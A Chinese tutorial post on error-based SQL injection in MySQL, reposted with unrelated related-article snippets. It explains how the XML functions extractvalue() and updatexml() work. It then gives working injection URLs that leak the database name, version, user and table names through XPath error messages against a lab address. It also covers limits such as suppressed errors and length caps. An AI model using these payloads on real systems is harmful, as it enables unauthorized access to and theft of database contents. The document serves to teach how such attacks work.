sql 注入(3), 报错型注入

报错型注入

无法使用 union 注入时, 尝试报错注入往往很有效.

一, 不适用 union 注入的情况:

  1. 在页面上无法显示查询结果.
  2. 从页面变化或报错信息中无法探测出有效的列数.

二, mysql处理xml文件

情景:

表名为 [xmltable], 表中列名为 [testxml], 值是字符串类型, 保存了一段xml文本:

<class id="WNCDC20230927"><student sequence="1"><id>WNCD0001</id><name>张三</name><sex></sex><age>22</age><degree>本科</degree><schoo1>华北电力</schoo1></student><student sequence="2"><id>WNCDC0002</id><name>李四</name><sex></sex><age>21</age><degree>本科</degree><schoo1>南方科技</schoo1></student>
</class>

sql语句读写xml:

extractvalue() 函数, updatexml() 函数

# 查询 <student sequence="1"> 的 name
select extractvalue(testxml, '//student[@sequence="1"]/name') from xmltable;
# 修改 <student sequence="1"> 的 name 为 王五
update learn.xmltable set testxml = 
updatexml(testxml, '//student[@sequence="1"]/name', "<name>王五</name>")

三, 报错注入

利用 xpath 字符串的语法错误进行注入.

情景:

url: http://192.168.112.200/security/read.php?id=1

说明:
0x7e 是ASCII码, 对应的字符是波浪线 ~, 波浪线不是一个有效的xpath路径字符串, 那么执行sql语句就会报错.
从报错信息中可以查看到探测的信息.
当然换成其他的符号也可以, 不一定必须用波浪线, 只要能引起xpath语法错误即可.

注入:

1. updatexml() 函数注入.
# 参数中的 2 个 1 无所谓是什么值, 重点是第二个参数中 concat() 函数中连接了 0x7e 与 想要执行的语句.
# 这个语句在报错信息中会显示出数据库名称. 例如: XPATH syntax error: '~learn~'
http://.../?id=1 and updatexml(1, concat(0x7e, database(), 0x7e), 1)
# 显示数据库版本: XPATH syntax error: '~10.4.20-MariaDB~'
http://.../?id=1 and updatexml(1, concat(0x7e, version(), 0x7e), 1)
# 显示数据库用户: XPATH syntax error: '~root@localhost~'
http://.../?id=1 and updatexml(1, concat(0x7e, user(), 0x7e), 1)# 执行其他 select 语句
# 查询 learn 库中所有表的名字: XPATH syntax error: '~access,article,user,xmltable~'
http://.../?id=1 and updatexml(1, concat(0x7e, 
( select group_concat( table_name ) from information_schema.tables where table_schema='learn' ), 
0x7e), 1)
2. extractvalue() 函数注入
# 原理相同
http://.../?id=1 and extractvalue(1, concat( 0x7e, database(), 0x7e ))
3. 其他错误注入

比如 floor() 函数注入等.
参考书籍: <代码审计: 企业级Web代码安全架构>

四, 错误注入的缺点:

1. 服务器端没有屏蔽或过滤掉xpath的语法错误或其他错误信息才有效, 前端页面能够看到信息.

例如, 在php代码中使用 die() 函数屏蔽掉sql异常:

$sql = "select * from book where bookid = $id"
$result = mysqli_query( $conn, $sql ) or die( "注入没用" )
2. 查询的数据有长度限制, 有时使用 group_concat() 一次性连接字符串返回大量数据可能报错:
XPATH syntax error: '~ALL_PLUGINS,APPLICABLE_ROLES...'

这种情况也可以使用 limit n, m 逐个测试.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/104490.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CSS 滚动驱动动画 animation-range

animation-range 语法 normallength-percentagetimeline-range-name 具名时间线范围 named timeline rangecovercontainentry 和 entry-crossingexit 和 exit-crossing 兼容性 animation-range 这个属性可同时对 scroll progress timeline 和 view progress timeline 这两种不…

头歌的数据库的第二次作业的答案

目录 MySQL-视图 第1关&#xff1a;创建所有保险资产的详细记录视图 第2关&#xff1a;基于视图的查询 MySQL数据库 - 连接查询 第1关&#xff1a;内连接查询 第2关&#xff1a;外连接查询 第3关&#xff1a;复合条件连接查询 MySQL数据库 - 子查询 第1关&#xff1a;…

了解华为交换机路由器的基本命令

什么是CLI&#xff1a;使用户与设备交互的界面&#xff0c;用户输入对应的命令&#xff0c;设备会回复我们输入的内容&#xff0c;回车车后设备会执行对应命令&#xff0c;达到管理、配置、查看的目的。 CLI界面分为三种操作视图&#xff1a; 用户试图&#xff1a;设备登陆后…

【java|golang】多字段排序以及排序规则

奖励最顶尖的 K 名学生 给你两个字符串数组 positive_feedback 和 negative_feedback &#xff0c;分别包含表示正面的和负面的词汇。不会 有单词同时是正面的和负面的。 一开始&#xff0c;每位学生分数为 0 。每个正面的单词会给学生的分数 加 3 分&#xff0c;每个负面的词…

selenium打开火狐浏览器

项目上需求为&#xff1a;甲方OA 系统是IE系统&#xff0c;需要从IE系统点个按钮打开火狐浏览器单点登录跳转到我们的系统 前期解决方案为&#xff1a;打开浏览器就行了&#xff0c;然后就用的是打开本地浏览器&#xff0c;但是由于B/S架构&#xff0c;有别人远程访问我的ip来…

如何使用ChatPPT生成PPT文档

简介 ChatPPT是一个基于人工智能的PPT生成工具&#xff0c;可以帮助用户快速生成高质量的PPT文档。ChatPPT使用自然语言处理技术&#xff0c;可以根据用户的指令生成PPT内容、设计和排版。 使用方法 ChatPPT提供了两种使用方式&#xff1a;在线体验版和Office插件版。 在线…

【博客搭建】1、拾壹博客本地启动遇到的问题和需要注意的坑

一、后端&#xff08;blog&#xff09;启动 1、修改application.yml中的数据库链接与密码&#xff0c;Redis账号密码&#xff0c;即可启动成功&#xff1b; 2、运行之前先导入sql&#xff1b; 3、 如需上传文件保存至本地&#xff08;例如相册的照片&#xff09;&#xff0c;需…

【竞赛题目】木块(C语言详解)

" 木块 " 是【第二届全国高校计算机技能竞赛】里的一道竞赛题目&#xff0c;博主觉得很新颖想推荐给大家&#xff1b; 题目描述 为了提高词汇量&#xff0c;小理得到了一套四块木块&#xff0c;其中每块都是一个立方体&#xff0c;六面各写着一个字母。他正在通过将…

如何正确的防止服务器被攻击?103.216.153.x

网站服务器被攻击是新建网站常常发生的事情&#xff0c;对于新手来说这也是非常棘手的问题。那么一旦遇到这样的情况&#xff0c;我们需要如何解决呢&#xff1f;怎么才能防止服务器被攻击&#xff0c;怎么保障自己网站信息的安全&#xff0c;如果发现被攻击又该怎么做呢&#…

神经网络中卷积和池化的区别

1、什么叫卷积&#xff1f; 卷积层是用一个固定大小的矩形区去席卷原始数据&#xff0c;将原始数据分成一个个和卷积核大小相同的小块&#xff0c;然后将这些小块和卷积核相乘输出一个卷积值&#xff08;注意这里是一个单独的值&#xff0c;不再是矩阵了&#xff09;。 卷积的…

YOLOv5算法改进(11)— 主干网络介绍(MobileNetV3、ShuffleNetV2和GhostNet)

前言:Hello大家好,我是小哥谈。主干网络通常指的是深度学习中的主干模型,通常由多个卷积层和池化层组成,用于提取输入数据的特征。在训练过程中,主干网络的参数会被不断优化以提高模型的准确性。YOLOv5算法中的主干网络可以有多种替换方案,为了后面讲解的方便,本篇文章就…

CVE-2017-12615 Tomcat远程命令执行漏洞

漏洞简介 2017年9月19日&#xff0c;Apache Tomcat官方确认并修复了两个高危漏洞&#xff0c;漏洞CVE编号&#xff1a;CVE-2017-12615和CVE-2017-12616&#xff0c;其中 远程代码执行漏洞&#xff08;CVE-2017-12615&#xff09; 当 Tomcat 运行在 Windows 主机上&#xff0c;…

Java基础面试-hashCode与equals

hashCode hashCode( 的作用是获取哈希码&#xff0c;也称为散列码&#xff0c;它实际上是返回一个int整数。这个哈希码的作用是确定该对象在哈希表中的索引引位置&#xff0c;hashCode0 定义在]DK的Object.java中&#xff0c;Java中的任何类都包含有hashCodel 函数。散列表存储…

加持智慧医疗,美格智能5G数传+智能模组让就医触手可及

智慧医疗将云计算、物联网、大数据、AI等新兴技术融合赋能医疗健康领域&#xff0c;是提高医疗健康服务的资源利用效率&#xff0c;创造高质量健康医疗的新途径。《健康中国2030规划纲要》把医疗健康提升到了国家战略层面&#xff0c;之后《“十四五”全面医疗保障规划》等一系…

【MySQL】索引和事物

目录 ♫索引 ♪什么是索引 ♪索引的数据结构 ♪索引的使用 ♫事务 ♪什么是事务 ♪事务的特性 ♪事务的使用 ♫索引 ♪什么是索引 索引是存储在磁盘上的一个数据结构&#xff0c;通过索引可以快速地定位到存储在磁盘上的数据。 索引在提高查询速度的同时&#xff0c;还提…

Office Tool Plus免费安装使用Excel

Office Tool Plus 是一个强大且实用的 Office 部署工具&#xff0c;可以很方便地自定义部署 Office2021等版本&#xff0c;其内置迅雷引擎可帮助您更快地下载 Office&#xff0c;当然&#xff0c;你也可以使用 Office Tool Plus 内置的各种小工具或者功能快捷、方便地激活和管理…

时间复杂度O(40n*n)的C++算法:修改图中的边权

本篇源码下载 点击下载 1.12.1. 题目 给你一个 n 个节点的 无向带权连通 图&#xff0c;节点编号为 0 到 n - 1 &#xff0c;再给你一个整数数组 edges &#xff0c;其中 edges[i] [ai, bi, wi] 表示节点 ai 和 bi 之间有一条边权为 wi 的边。 部分边的边权为 -1&#xff08…

CANdb++数据库操作

CANdb数据库操作 创建工程结构文件夹新建数据库&总线描述节点设置节点创建配置Message属性信号设置节点收发信号 环境变量配置一致性检验数据库工程XVehicle.dbc导入工程文件总结 创建工程结构文件夹 在文件夹X-Vehicle-1下&#xff0c;建立工程目录文件夹CANdb&#xff0…

CustomNavBar 自定义导航栏视图

1. 创建偏好设置键 CustomNavBarTitlePreferenceKey.swift import Foundation import SwiftUI//State private var showBackButton: Bool true //State private var title: String "Title" //"" //State private var subtitle: String? "SubTitl…

相似性搜索:第 1 部分- kNN 和倒置文件索引

图片来源&#xff1a;维亚切斯拉夫叶菲莫夫 一、说明 SImilarity 搜索是一个问题&#xff0c;给定一个查询的目标是在所有数据库文档中找到与其最相似的文档。 在数据科学中&#xff0c;相似性搜索经常出现在NLP领域&#xff0c;搜索引擎或推荐系统中&#xff0c;其中需要检索最…